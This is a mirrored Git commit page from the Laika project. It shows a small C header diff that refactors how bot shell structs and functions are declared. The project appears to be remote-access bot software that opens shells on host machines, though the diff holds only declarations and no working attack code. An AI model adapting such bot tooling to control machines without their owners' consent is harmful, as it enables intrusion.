1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-01 22:10:05 +00:00

Bot: small shell.[ch] + native refactor

- `struct sLaika_shell` is now a shared struct, `struct sLaika_RAWshell` is the native implementation with `struct sLaika_shell` as it's first member
This commit is contained in:
2022-05-08 01:21:37 -05:00
parent 7d96f3252c
commit 63e36d1ebb
5 changed files with 37 additions and 40 deletions

View File

@@ -6,7 +6,9 @@
#define LAIKA_SHELL_TASK_DELTA 50
struct sLaika_bot;
struct sLaika_shell;
struct sLaika_shell {
uint32_t id;
};
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
@@ -15,9 +17,6 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* has to be a function since the struct is different depending on the platform */
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* handles reading & writing to shell pipes */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);